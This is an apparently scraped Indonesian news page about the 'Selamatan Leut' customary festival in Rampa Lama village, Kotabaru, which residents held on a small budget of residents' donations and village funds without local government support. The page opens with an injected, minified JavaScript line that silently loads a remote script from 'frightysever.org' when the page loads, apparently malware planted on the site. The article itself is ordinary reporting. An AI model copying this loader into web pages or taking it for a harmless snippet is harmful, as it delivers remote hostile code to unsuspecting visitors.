(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KanalReligi & Budaya

“Selamatan Leut” Berjalan tanpa Support Pemerintah


KOTABARU, Pelestarian adat budaya menjadi upaya untuk mengangkat jati diri daerah. Namun nyatanya, upacar adat “Selamatan Leut” yang digelar Desa Rampa Lama Kecamatan Pulau Laut Utara, tak disupport Pemda Kotabaru. Namun demikian, warga tetap menggelar acara tersebut meski dengan anggaran cekak.

“Tolong perhatikan juga kami ketika akan mengadakan pesta adat dan ini juga berkaitan pelestarian budaya daerah,” keluh Kepala Desa Rampa Lama Kecamatan Pulau Laut Utara, Samsir Alam, saat pembukaan Selamatan Leut, Minggu (24/9) malam.

Kegiatan yang dimulai 24 September hingga 1 Oktober ini menampilkan berbagai acara seperti festival musik Allahay, senandung dan musik dangdut, sholat hajad bersama, dan pembacaan burdah sambil berkeliling kampung. Selain itu juga dirangkai berbagai lomba seperti catur, badminton, pencak silat, dayung tradisional, kapal hias, burung dara, balap perahu dan titi tali.

Kepala Desa Rampa Lama Samsir Alam, menyampaikan sambutan dalam pembukaan acara Selamatan Leut

Ketua Panitia Pelaksana  Abdurrahman mengatakan, dengan tanpa bantuan pemerintah, anggaran yang digunakan pada kegiatan tersebut mengandalkan sumbangan warga dan kas desa.

“Meskipun anggaran minin tapi masyarakat dari RT 1 hingga 18, serta bantuan dari desa acara bisa terlaksana,” katanya.

Terkait hal ini, Kades Samsir Alam menyangkan tak adanya bantuan pemerintah. Baik melalui Dinas Kebudayaan dan Pariwisata maupun instansi lainnya. Menurutnya, anggaran yang diplot sebesar Rp 62 juta. Tapi karena tidak ada bantuan pemerintah, atas peran seluruh warga terkumpul Rp 6,8 juta. Ditambah bantuan desa sekitar Rp 20 juta, jadi total hanya ada anggaran Rp 26 juta lebih.

“Mau bagaimana lagi, terpaksa harus dicukupkan anggarannya. Harapan kami jelas di tahun-tahun mendatang Pemda bisa lebih peduli dan memperhatikan budaya ini. Jujur saja, kami merasa kurang diperhatikan,” jelasnya.***


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

11 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

12 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

12 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

12 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

13 jam ago

This website uses cookies.